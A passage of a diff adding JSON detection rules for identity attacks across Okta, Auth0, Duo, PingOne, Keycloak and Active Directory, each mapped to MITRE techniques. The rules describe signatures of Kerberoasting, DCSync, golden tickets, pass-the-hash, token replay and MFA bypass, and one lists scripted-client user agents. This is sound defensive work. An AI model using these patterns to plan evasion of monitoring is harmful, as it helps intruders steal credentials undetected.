+ "product": "identity",
+ "service": "mfa",
+ "severity": "medium",
+ "slug": "ident-totp-secret-revealed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-057",
+ "match_when": {
+ "event_type": "policy_update",
+ "min_length_decreased": true
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Password Policy Min-Length / Complexity Loosened",
+ "product": "identity",
+ "service": "policy",
+ "severity": "high",
+ "slug": "ident-static-password-policy-loosened"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-058",
+ "match_when": {
+ "event_type": "policy_update",
+ "history_length_decreased": true
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Password History Length Reduced",
+ "product": "identity",
+ "service": "policy",
+ "severity": "medium",
+ "slug": "ident-password-policy-history-reduced"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-059",
+ "match_when": {
+ "event_type": "policy_update",
+ "scope_priv": true,
+ "session_timeout_minutes_increased": true
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Session Timeout Extended For Privileged Group",
+ "product": "identity",
+ "service": "policy",
+ "severity": "medium",
+ "slug": "ident-session-timeout-extended-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-060",
+ "match_when": {
+ "event_type": "auth_success",
+ "user_agent_contains_any": [
+ "python-requests",
+ "curl/",
+ "headless",
+ "phantomjs",
+ "selenium"
+ ]
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Login With Headless / Bot User Agent",
+ "product": "identity",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-suspicious-user-agent-login"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-061",
+ "match_when": {
+ "event_type": "auth_success",
+ "src_asn_recent_credstuffing": true
+ },
+ "mitre": [
+ "T1110.004"
+ ],
+ "name": "Login From ASN Recently Seen In Credential-Stuffing Activity",
+ "product": "identity",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-login-from-known-asn-ddos"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-062",
+ "match_when": {
+ "country_first_seen_for_user": true,
+ "event_type": "auth_success",
+ "user_priv": true
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Privileged User Login From New Country",
+ "product": "identity",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-new-country-priv-user"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-063",
+ "match_when": {
+ "event_type": "auth_success",
+ "locale_changes_in_session_gt": 2
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "User Login Locale Switched Rapidly",
+ "product": "identity",
+ "service": "auth",
+ "severity": "low",
+ "slug": "ident-rapid-language-change"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-064",
+ "match_when": {
+ "event_type": "auth_success",
+ "user_agent": ""
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Login With Empty User-Agent",
+ "product": "identity",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-empty-useragent-login"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-065",
+ "match_when": {
+ "event_type": "mfa_challenge",
+ "events_per_minute_gt": 5,
+ "totp_clock_skew_seconds_gt": 60
+ },
+ "mitre": [
+ "T1110"
+ ],
+ "name": "TOTP Verification Repeatedly Skews Clock",
+ "product": "identity",
+ "service": "mfa",
+ "severity": "low",
+ "slug": "ident-totp-skewed-clock"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-066",
+ "match_when": {
+ "event_type": "role_grant",
+ "is_business_hours": false,
+ "role_priv": true
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Privileged Role Granted Outside Business Hours",
+ "product": "identity",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-priv-role-grant-out-of-hours"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-067",
+ "match_when": {
+ "actor_eq_target": true,
+ "event_type": "role_grant",
+ "role_priv": true
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "User Granted Privileged Role To Themselves",
+ "product": "identity",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "ident-self-grant-priv-role"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-068",
+ "match_when": {
+ "event_type": "role_grant",
+ "role_priv": true,
+ "target_user_type": "service_account"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Privileged Role Granted To Service Account",
+ "product": "identity",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-priv-role-grant-to-svc-account"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-069",
+ "match_when": {
+ "approver_eq_actor": true,
+ "event_type": "pim_activation"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "JIT/PIM Privileged Activation Self-Approved",
+ "product": "identity",
+ "service": "pim",
+ "severity": "high",
+ "slug": "ident-pim-activation-self-approval"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-070",
+ "match_when": {
+ "event_type": "pim_activation",
+ "hour_unusual_for_user": true
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "JIT/PIM Activation At Unusual Hour For User",
+ "product": "identity",
+ "service": "pim",
+ "severity": "medium",
+ "slug": "ident-pim-activation-anomalous-time"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-071",
+ "match_when": {
+ "event_type": "role_grant",
+ "events_per_minute_gt": 10,
+ "role_priv": true
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Privileged Role Grant Burst Across Many Users",
+ "product": "identity",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-priv-role-burst-granted"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-072",
+ "match_when": {
+ "event_type": "auth_success",
+ "is_interactive": true,
+ "user_type": "service_account"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Service Account Used For Interactive Login",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-svc-account-interactive-login"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-073",
+ "match_when": {
+ "event_type": "auth_success",
+ "mfa_used": false,
+ "policy_requires_mfa": true,
+ "user_type": "service_account"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Service Account Login Without MFA In Region That Requires It",
+ "product": "identity",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-svc-account-mfa-skipped"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-074",
+ "match_when": {
+ "event_type": "role_grant",
+ "role_priv": true,
+ "user_age_minutes_lt": 1440
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "New User Granted Privileged Role <24h After Creation",
+ "product": "identity",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-onboard-priv-roles-immediate"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-075",
+ "match_when": {
+ "act_as_user_priv": true,
+ "event_type": "oauth_action",
+ "scope_contains_any": [
+ "full_access",
+ "admin",
+ "*.write"
+ ]
+ },
+ "mitre": [
+ "T1528"
+ ],
+ "name": "OAuth App Acting As Privileged User",
+ "product": "identity",
+ "service": "oauth",
+ "severity": "high",
+ "slug": "ident-app-impersonation-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-076",
+ "match_when": {
+ "event_type": "role_revoke",
+ "events_per_minute_gt": 10,
+ "role_priv": true
+ },
+ "mitre": [
+ "T1531"
+ ],
+ "name": "Privileged Role Removed From Many Users In Burst",
+ "product": "identity",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-priv-role-removed-bulk"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-077",
+ "match_when": {
+ "active_keys_per_account_gt": 5,
+ "event_type": "key_inventory"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Service Account With 5+ Active API Keys",
+ "product": "identity",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-orphan-svc-acct-many-keys"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-078",
+ "match_when": {
+ "event_type": "auth_success",
+ "src_in_pipeline_cidr": false,
+ "user_type": "service_account"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Service Account Key Used From Non-Pipeline IP",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-svc-account-key-from-non-pipeline"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-079",
+ "match_when": {
+ "event_id": 4728,
+ "group_name_in": [
+ "Domain Admins",
+ "Enterprise Admins",
+ "Schema Admins"
+ ]
+ },
+ "mitre": [
+ "T1098.007"
+ ],
+ "name": "Domain Admin Group Membership Added (AD)",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "ident-domain-admin-added"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-080",
+ "match_when": {
+ "event_id": 4670,
+ "object_class_in": [
+ "domainDNS",
+ "groupPolicyContainer"
+ ]
+ },
+ "mitre": [
+ "T1484.002"
+ ],
+ "name": "ACL On Sensitive AD Object Modified",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ad-acl-sensitive-changed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-081",
+ "match_when": {
+ "event_id": 5136,
+ "rights_added_contains_any": [
+ "DS-Replication-Get-Changes",
+ "DS-Replication-Get-Changes-All"
+ ]
+ },
+ "mitre": [
+ "T1003.006"
+ ],
+ "name": "DCSync Rights Granted Outside Domain Controllers",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "ident-ad-dcsync-rights-granted"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-082",
+ "match_when": {
+ "event_id": 5136,
+ "gpo_link_priv": true
+ },
+ "mitre": [
+ "T1484.001"
+ ],
+ "name": "Privileged GPO Modified",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ad-gpo-modified-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-083",
+ "match_when": {
+ "event_id_in": [
+ 4716,
+ 4865,
+ 4867
+ ]
+ },
+ "mitre": [
+ "T1484.002"
+ ],
+ "name": "AD Domain Trust Modified",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "ident-ad-trust-modified"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-084",
+ "match_when": {
+ "event_id": 4624,
+ "logon_type": 3,
+ "user_name": "ANONYMOUS LOGON"
+ },
+ "mitre": [
+ "T1078.001"
+ ],
+ "name": "AD Anonymous Logon Allowed Via Null Session",
+ "product": "active-directory",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-ad-userauth-anonymous-named-pipe"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-085",
+ "match_when": {
+ "event_id": 4738,
+ "useraccountcontrol_flag_passwd_notreqd": true
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "AD Account Set With PASSWD_NOTREQD",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ad-pwd-not-required"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-086",
+ "match_when": {
+ "event_id": 4738,
+ "user_priv": true,
+ "useraccountcontrol_flag_dont_expire": true
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Privileged AD Account Set With DONT_EXPIRE_PASSWORD",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-ad-pwd-never-expires-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-087",
+ "match_when": {
+ "event_id": 4741,
+ "machines_created_per_user_per_day_gt": 5
+ },
+ "mitre": [
+ "T1136.001"
+ ],
+ "name": "Machine Account Quota Exhausted By Single User",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ad-machine-account-quota-abuse"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-088",
+ "match_when": {
+ "event_id": 4729,
+ "group_name": "Protected Users"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "User Removed From Protected Users Group",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ad-protected-users-removed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-089",
+ "match_when": {
+ "attribute_modified": "sIDHistory",
+ "event_id": 4738
+ },
+ "mitre": [
+ "T1078.002"
+ ],
+ "name": "AD sIDHistory Attribute Modified",
+ "product": "active-directory",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ad-sidhistory-modified"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-090",
+ "match_when": {
+ "account_disabled": true,
+ "event_id": 4624
+ },
+ "mitre": [
+ "T1078.002"
+ ],
+ "name": "Disabled AD Account Authenticated Successfully",
+ "product": "active-directory",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-ad-userlogon-disabled-account"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-091",
+ "match_when": {
+ "event_id": 4769,
+ "ticket_encryption_type": "0x17"
+ },
+ "mitre": [
+ "T1558.003"
+ ],
+ "name": "Kerberoasting: TGS Request With RC4_HMAC",
+ "product": "active-directory",
+ "service": "kerberos",
+ "severity": "high",
+ "slug": "ident-kerberoasting-tgs-rc4"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-092",
+ "match_when": {
+ "event_id": 4768,
+ "preauth_required": false
+ },
+ "mitre": [
+ "T1558.004"
+ ],
+ "name": "AS-REP Roasting: TGT Without Pre-Auth",
+ "product": "active-directory",
+ "service": "kerberos",
+ "severity": "high",
+ "slug": "ident-asreproast-no-preauth"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-093",
+ "match_when": {
+ "event_id": 4768,
+ "ticket_lifetime_hours_gt": 10
+ },
+ "mitre": [
+ "T1558.001"
+ ],
+ "name": "Golden Ticket Indicator: TGT Lifetime > 10h",
+ "product": "active-directory",
+ "service": "kerberos",
+ "severity": "critical",
+ "slug": "ident-golden-ticket-anomalous-tgt-lifetime"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-094",
+ "match_when": {
+ "event_id": 4769,
+ "tgt_seen_for_user_in_window": false
+ },
+ "mitre": [
+ "T1558.002"
+ ],
+ "name": "Silver Ticket Indicator: TGS Without Matching TGT",
+ "product": "active-directory",
+ "service": "kerberos",
+ "severity": "high",
+ "slug": "ident-silver-ticket-anomalous-spn"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-095",
+ "match_when": {
+ "domain_controller": true,
+ "encryption_type_in": [
+ "DES",
+ "RC4"
+ ],
+ "event_id": 4624,
+ "logon_type": 3
+ },
+ "mitre": [
+ "T1556.001"
+ ],
+ "name": "Skeleton Key Indicator: Forced Downgrade To DES/RC4",
+ "product": "active-directory",
+ "service": "kerberos",
+ "severity": "critical",
+ "slug": "ident-skeleton-key-encryption-downgrade"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-096",
+ "match_when": {
+ "event_id": 4771,
+ "failures_per_host_per_minute_gt": 50
+ },
+ "mitre": [
+ "T1110"
+ ],
+ "name": "Kerberos Pre-Auth Failure Spike From Host",
+ "product": "active-directory",
+ "service": "kerberos",
+ "severity": "medium",
+ "slug": "ident-kerberos-failure-spike-from-host"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-097",
+ "match_when": {
+ "auth_type": "NTLMv2",
+ "event_id": 8004,
+ "workstation_neq_source_address": true
+ },
+ "mitre": [
+ "T1557.001"
+ ],
+ "name": "NTLM Authentication With Mismatched WorkstationName",
+ "product": "active-directory",
+ "service": "ntlm",
+ "severity": "high",
+ "slug": "ident-ntlm-relay-indicator"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-098",
+ "match_when": {
+ "auth_type": "NTLMv2",
+ "event_id": 4624,
+ "src_host_trusted": false,
+ "user_priv": true
+ },
+ "mitre": [
+ "T1078.002"
+ ],
+ "name": "Privileged Account NTLM Logon From Untrusted Host",
+ "product": "active-directory",
+ "service": "ntlm",
+ "severity": "high",
+ "slug": "ident-ntlm-priv-account-from-untrusted"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-099",
+ "match_when": {
+ "auth_type": "NTLMv2",
+ "event_id": 4624,
+ "logon_type": 9
+ },
+ "mitre": [
+ "T1550.002"
+ ],
+ "name": "Pass-The-Hash Indicator: NTLMv2 With NewCredentials",
+ "product": "active-directory",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-pass-the-hash-anomalous-logon"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-100",
+ "match_when": {
+ "event_id": 4624,
+ "logon_type": 3,
+ "ticket_source_ip_neq_session_ip": true
+ },
+ "mitre": [
+ "T1550.003"
+ ],
+ "name": "Pass-The-Ticket Indicator: TGT Source IP Mismatch",
+ "product": "active-directory",
+ "service": "kerberos",
+ "severity": "high",
+ "slug": "ident-pass-the-ticket-anomalous-tgt-source"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-101",
+ "match_when": {
+ "event_type": "session_continuation",
+ "geo_changed": true,
+ "minutes_between_lt": 60
+ },
+ "mitre": [
+ "T1539"
+ ],
+ "name": "Session Cookie Replayed From New Geo Within 1h",
+ "product": "identity",
+ "service": "session",
+ "severity": "critical",
+ "slug": "ident-token-theft-cookie-replay"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-102",
+ "match_when": {
+ "event_type": "token_refresh",
+ "geo_distance_km_gt": 500,
+ "src_ip_changed": true
+ },
+ "mitre": [
+ "T1550"
+ ],
+ "name": "OAuth Refresh Token Replayed From Different IP",
+ "product": "identity",
+ "service": "oauth",
+ "severity": "high",
+ "slug": "ident-oauth-refresh-token-replay"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-103",
+ "match_when": {
+ "event_type": "token_use",
+ "ip_changed": true,
+ "seconds_after_issue_lt": 1
+ },
+ "mitre": [
+ "T1550"
+ ],
+ "name": "OAuth Access Token Used Before Issue +1s",
+ "product": "identity",
+ "service": "oauth",
+ "severity": "high",
+ "slug": "ident-oauth-token-theft-impossible-time"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-104",
+ "match_when": {
+ "assertion_id_seen_recently": true,
+ "event_type": "saml_consume"
+ },
+ "mitre": [
+ "T1550"
+ ],
+ "name": "SAML Assertion Replayed Within Window",
+ "product": "identity",
+ "service": "saml",
+ "severity": "high",
+ "slug": "ident-saml-assertion-replay"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-105",
+ "match_when": {
+ "event_type": "saml_consume",
+ "issuer_in_trusted_list": false
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "SAML Assertion Issuer Mismatched",
+ "product": "identity",
+ "service": "saml",
+ "severity": "critical",
+ "slug": "ident-saml-issuer-mismatch"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-106",
+ "match_when": {
+ "event_type": "application.user_membership.add",
+ "events_per_minute_gt": 25
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Okta Admin App Assigned To Many Users In Burst",
+ "product": "okta",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-okta-admin-app-assigned-many-users"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-107",
+ "match_when": {
+ "applies_to_everyone": true,
+ "event_type_in": [
+ "policy.lifecycle.activate",
+ "policy.rule.update"
+ ],
+ "factor_required": false
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Okta Policy Allows 'Everyone' Without MFA",
+ "product": "okta",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-okta-policy-everyone-bypass-mfa"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-108",
+ "match_when": {
+ "event_type": "zone.update",
+ "trusted": true,
+ "zone_type": "IP"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Okta Trusted Network Zone Modified",
+ "product": "okta",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-okta-network-zone-modified-trusted"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-109",
+ "match_when": {
+ "event_type": "user.account.privilege.grant",
+ "role": "SUPER_ADMIN"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Okta Super Administrator Role Granted",
+ "product": "okta",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "ident-okta-superadmin-added"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-110",
+ "match_when": {
+ "behaviors_contains_any": [
+ "new_device",
+ "new_geolocation",
+ "velocity"
+ ],
+ "event_type": "user.session.start"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Okta Login Marked Suspicious-Activity Behaviour",
+ "product": "okta",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-okta-suspicious-login-bot"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-111",
+ "match_when": {
+ "actor_role_priv": false,
+ "event_type": "application.lifecycle.update",
+ "secret_rotated": true
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Okta App Sign-On Secret Rotated By Non-Admin",
+ "product": "okta",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-okta-app-secret-rotated-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-112",
+ "match_when": {
+ "event_type": "user.mfa.factor.reset_all",
+ "target_user_priv": true
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "Okta MFA Factor Reset For Privileged User",
+ "product": "okta",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-okta-mfa-factor-reset-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-113",
+ "match_when": {
+ "event_type": "policy.lifecycle.deactivate"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Okta Sign-On Policy Deactivated",
+ "product": "okta",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-okta-policy-deactivated"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-114",
+ "match_when": {
+ "event_type": "application.federated.user.assign",
+ "external_domain": true
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "Okta App Assigned With Federated External Domain",
+ "product": "okta",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-okta-app-assigned-foreign-domain"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-115",
+ "match_when": {
+ "event_type": "system.api_token.create",
+ "scope_contains": "admin"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Okta API Token Created With Admin Role",
+ "product": "okta",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-okta-api-token-created-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-116",
+ "match_when": {
+ "app_type": "radius",
+ "event_type": "application.lifecycle.create"
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "Okta RADIUS Application Added",
+ "product": "okta",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-okta-radius-app-added"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-117",
+ "match_when": {
+ "event_type": "user.lifecycle.deactivate",
+ "events_per_minute_gt": 25
+ },
+ "mitre": [
+ "T1531"
+ ],
+ "name": "Okta Mass User Deactivation",
+ "product": "okta",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-okta-mass-deactivate-users"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-118",
+ "match_when": {
+ "event_type": "Successful API Operation",
+ "operation": "rules.create"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Auth0 Rule Added (Custom Code In Login Pipeline)",
+ "product": "auth0",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-auth0-rule-added"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-119",
+ "match_when": {
+ "event_type": "Successful API Operation",
+ "operation": "actions.deploy"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Auth0 Action Deployed",
+ "product": "auth0",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-auth0-action-deployed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-120",
+ "match_when": {
+ "event_type": "Successful API Operation",
+ "operation": "client_grants.create",
+ "scope_contains": "manage"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Auth0 Management API Key Created",
+ "product": "auth0",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-auth0-management-api-key-created"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-121",
+ "match_when": {
+ "event_type": "Successful API Operation",
+ "operation": "connections.delete"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Auth0 Connection Deleted",
+ "product": "auth0",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-auth0-connection-deleted"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-122",
+ "match_when": {
+ "event_type": "Successful API Operation",
+ "operation": "anomaly.disable"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Auth0 Anomaly Detection Disabled",
+ "product": "auth0",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-auth0-anomaly-detection-disabled"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-123",
+ "match_when": {
+ "event_type": "user_create_bypass_code"
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "Duo Bypass Code Generated",
+ "product": "duo",
+ "service": "admin",
+ "severity": "high",
+ "slug": "ident-duo-bypass-code-generated"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-124",
+ "match_when": {
+ "auth_required": false,
+ "event_type": "policy_update"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Duo Policy Changed: MFA Requirement Removed",
+ "product": "duo",
+ "service": "admin",
+ "severity": "high",
+ "slug": "ident-duo-policy-changed-mfa-removed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-125",
+ "match_when": {
+ "actor_eq_target": true,
+ "event_type": "admin_create"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Duo Admin Created Via Self-Service Activation",
+ "product": "duo",
+ "service": "admin",
+ "severity": "critical",
+ "slug": "ident-duo-admin-added-from-self"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-126",
+ "match_when": {
+ "event_type": "auth",
+ "result": "fraud"
+ },
+ "mitre": [
+ "T1621"
+ ],
+ "name": "Duo Push Marked As Fraud By User",
+ "product": "duo",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-duo-fraud-reported"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-127",
+ "match_when": {
+ "event_type": "integration_update",
+ "policy_assigned": "bypass"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Duo Application Set To Bypass Policy",
+ "product": "duo",
+ "service": "admin",
+ "severity": "high",
+ "slug": "ident-duo-application-bypass-policy"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-128",
+ "match_when": {
+ "event_type": "MFA_POLICY_DELETED"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "PingOne MFA Policy Removed",
+ "product": "ping",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ping-policy-mfa-removed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-129",
+ "match_when": {
+ "event_type": "ADMIN_ROLE_GRANT",
+ "events_per_minute_gt": 5
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "PingOne Admin Role Burst Granted",
+ "product": "ping",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ping-admin-role-burst"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-130",
+ "match_when": {
+ "event_type": "DEVICE_DELETED",
+ "target_user_priv": true
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "PingID Device Removed From Privileged User",
+ "product": "ping",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ping-pingid-device-removed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-131",
+ "match_when": {
+ "applies_to_everyone": true,
+ "event_type": "POLICY_UPDATE",
+ "factor_required": false
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "PingOne Policy Bypass Applied To 'Everyone'",
+ "product": "ping",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-ping-policy-bypass-everyone"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-132",
+ "match_when": {
+ "event_type": "TRUSTED_CERT_ADDED"
+ },
+ "mitre": [
+ "T1553.004"
+ ],
+ "name": "Ping Trust Store Certificate Added",
+ "product": "ping",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-ping-trust-store-modified"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-133",
+ "match_when": {
+ "event_type": "USER_CREATE",
+ "realm": "master"
+ },
+ "mitre": [
+ "T1136"
+ ],
+ "name": "Keycloak Master Realm User Created",
+ "product": "keycloak",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-keycloak-master-realm-user-created"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-134",
+ "match_when": {
+ "event_type": "ROLE_ASSIGN",
+ "role": "realm-admin"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Keycloak realm-admin Role Granted",
+ "product": "keycloak",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-keycloak-admin-realm-role-grant"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-135",
+ "match_when": {
+ "event_type": "CLIENT_UPDATE",
+ "secret_changed": true
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Keycloak Client Secret Regenerated",
+ "product": "keycloak",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-keycloak-client-secret-regen"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-136",
+ "match_when": {
+ "event_type": "IMPERSONATE"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Keycloak User Impersonation Used",
+ "product": "keycloak",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-keycloak-impersonation-used"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-137",
